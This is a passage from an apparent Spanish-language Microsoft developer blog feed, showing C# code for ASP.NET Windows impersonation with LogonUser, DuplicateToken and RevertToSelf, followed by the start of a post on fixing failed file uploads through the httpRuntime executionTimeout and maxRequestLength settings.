<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">if</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> (!LogonUser(_username, _domainname, _password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, <span style="color: blue;">out</span> _tokenHandle))<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">{<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>win32ErrorNumber = System.Runtime.InteropServices.<span style="color: #2b91af;">Marshal</span>.GetLastWin32Error();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">throw</span> <span style="color: blue;">new</span> <span style="color: #2b91af;">Exception</span>(win32ErrorNumber.ToString());<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">}<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">if</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> (!DuplicateToken(_tokenHandle, SecurityImpersonation, <span style="color: blue;">out</span> _dupeTokenHandle))<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">{<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>win32ErrorNumber = System.Runtime.InteropServices.<span style="color: #2b91af;">Marshal</span>.GetLastWin32Error();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>CloseHandle(_tokenHandle);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">throw</span> <span style="color: blue;">new</span> <span style="color: #2b91af;">Exception</span>(win32ErrorNumber.ToString());<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">}<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">System.Security.Principal.<span style="color: #2b91af;">WindowsIdentity</span> newId = <span style="color: blue;">new</span> System.Security.Principal.<span style="color: #2b91af;">WindowsIdentity</span>(_dupeTokenHandle);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: #2b91af; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">WindowsImpersonationContext</span><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _impersonatedUser = newId.Impersonate();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Mostramos por pantalla la identidad impersonada<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">Response.Write(<span style="color: #a31515;">"Despu&eacute;s de impersonar: "</span> + <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent().Name.ToString() + <span style="color: #a31515;">"&lt;BR&gt;"</span>);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Desahacemos la impersonaci&oacute;n cuando ya no lo necesitemos. <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">_impersonatedUser.Undo();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Mostramos por pantalla la identidad, que otra vez ser&aacute; la del application pool<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">Response.Write(<span style="color: #a31515;">"Deshacer impersonaci&oacute;n: "</span> + <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent().Name.ToString() + <span style="color: #a31515;">"&lt;BR&gt;"</span>);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Volvemos a impersonar con la identidad inicial (la del web.config) que hemos mantenido referenciada<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//con la variable _impersonatedUser:<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">_impersonatedUser = _initialIdentity.Impersonate();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Por &uacute;ltimo volvemos a mostrar la identidadMostramos por pantalla la identidad<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">Response.Write(<span style="color: #a31515;">"Volver a impersonaci&oacute;n inicial: "</span> + <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent().Name.ToString() + <span style="color: #a31515;">"&lt;BR&gt;"</span>);</span><span style="font-family: Consolas; font-size: 12pt;"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">Tras ejecutar el c&oacute;digo anterior, el resultado emitido por pantalla ser&iacute;a el siguiente (en mi ejemplo):<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span style="font-family: 'Courier New'; font-size: 10pt;">Identidad inicial: CONTOSO\daniel<br />Despu&eacute;s de llamar a RevertToSelf: NT AUTHORITY\NETWORK SERVICE<br />Despu&eacute;s de impersonar: CONTOSO\demo<br />Deshacer impersonaci&oacute;n: NT AUTHORITY\NETWORK SERVICE<br />Volver a impersonaci&oacute;n inicial: CONTOSO\daniel<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">Estas son las <i>signatures</i> de C# para llamar a las APIs del ejemplo mediante <i style="mso-bidi-font-style: normal;">platform invoke</i>:<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">[<span style="color: #2b91af;">DllImport</span>(<span style="color: #a31515;">"advapi32.dll"</span>, SetLastError = <span style="color: blue;">true</span>)]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">public</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">static</span> <span style="color: blue;">extern</span> <span style="color: blue;">bool</span> LogonUser(<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">string</span> lpszUsername,<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">string</span> lpszDomain,<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">string</span> lpszPassword,<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">int</span> dwLogonType,<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">int</span> dwLogonProvider,<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">out</span> <span style="color: #2b91af;">IntPtr</span> phToken);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">[<span style="color: #2b91af;">DllImport</span>(<span style="color: #a31515;">"advapi32.dll"</span>, SetLastError = <span style="color: blue;">true</span>)]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">static</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">extern</span> <span style="color: blue;">bool</span> RevertToSelf();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">[<span style="color: #2b91af;">DllImport</span>(<span style="color: #a31515;">"advapi32.dll"</span>, SetLastError = <span style="color: blue;">true</span>)]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">public</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">extern</span> <span style="color: blue;">static</span> <span style="color: blue;">bool</span> DuplicateToken(<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: #2b91af;">IntPtr</span> ExistingTokenHandle, <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">int</span> SECURITY_IMPERSONATION_LEVEL, <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">out</span> <span style="color: #2b91af;">IntPtr</span> DuplicateTokenHandle);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">[<span style="color: #2b91af;">DllImport</span>(<span style="color: #a31515;">"kernel32.dll"</span>, SetLastError = <span style="color: blue;">true</span>)]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">[<span style="color: blue;">return</span>: <span style="color: #2b91af;">MarshalAs</span>(<span style="color: #2b91af;">UnmanagedType</span>.Bool)]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">static</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">extern</span> <span style="color: blue;">bool</span> CloseHandle(<span style="color: #2b91af;">IntPtr</span> hObject);</span><span lang="EN-US" style="font-family: Consolas; color: #1f497d; font-size: 12pt; mso-ansi-language: EN-US;"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">Espero que os sea de utilidad. <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">- Daniel Mossberg<o:p></o:p></span></span></p>]]></content:encoded>
    </item>
    <item>
      <title>Problemas al subir ficheros a una aplicación ASP.NET</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/problemas-al-subir-ficheros-a-una-aplicacin-asp-net</link>
      <pubDate>Wed, 11 Aug 2010 06:19:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/08/11/problemas-al-subir-ficheros-a-una-aplicacin-asp-net/</guid>
      <description><![CDATA[Cuando subimos ficheros a una aplicaci&oacute;n ASP.NET, dependiendo del tama&ntilde;o del fichero y...]]></description>
      <content:encoded><![CDATA[<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">Cuando subimos ficheros a una aplicaci&oacute;n ASP.NET, dependiendo del tama&ntilde;o del fichero y la velocidad de la conexi&oacute;n del cliente, ocasionalmente la subida del fichero puede fallar con el mensaje de error&nbsp;en el cliente&nbsp;de&nbsp;<strong>Internet Explorer no puede mostrar la p&aacute;gina web</strong>, o con alguna de las siguientes excepciones (dependiendo de c&oacute;mo est&eacute; configurado IIS, habitualmente este detalle de la excepci&oacute;n &uacute;nicamente lo podremos ver en el log de eventos NT del servidor):</span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><i><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"><span style="font-family: Calibri;">HttpException: Request timed out.</span></span></i></p>
<p class="MsoNormal"><i><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"><span style="font-family: Calibri;">HttpException: Maximum request length exceeded.</span></span></span></i></p>
<p class="MsoNormal"><i><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"></span></span></i>&nbsp;</p>
<p class="MsoNormal"><i><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"><span lang="EN-US" style="FONT-SIZE: 12pt; mso-ansi-language: EN-US"></span></span></i><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">En estos casos, los par&aacute;metros que deb&eacute;is configurar adecuadamente considerando el tama&ntilde;o el tiempo de transmisi&oacute;n del fichero son los siguientes:</span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"></span>&nbsp;</p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"></span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&lt;</span><span style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt">httpRuntime</span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt"> </span><span style="FONT-FAMILY: Consolas; COLOR: red; FONT-SIZE: 12pt">executionTimeout</span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">=</span><span style="FONT-FAMILY: Consolas; FONT-SIZE: 12pt">"<span style="COLOR: blue">600</span>"<span style="COLOR: blue"> </span><span style="COLOR: red">maxRequestLength</span><span style="COLOR: blue">=</span>"<span style="COLOR: blue">61440</span>"<span style="COLOR: blue"> /&gt;<o:p></o:p></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">El par&aacute;metro de <strong>executionTimeout </strong>determina el tiempo en segundos que puede ejecutarse una p&aacute;ginas ASP.NET antes de que se lanza una excepci&oacute;n de <em>time out. </em>Por otro lado, el par&aacute;metro <strong>maxRequestLength</strong> determina el tama&ntilde;o total m&aacute;ximo en bytes&nbsp;de las peticiones HTTP. Debemos configurar estas secciones acorde con los tiempos m&aacute;ximos&nbsp;de carga y tama&ntilde;os m&aacute;ximos de fichero que queremos que soporte nuestra aplicaci&oacute;n. </span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;"></span></span>&nbsp;</p>
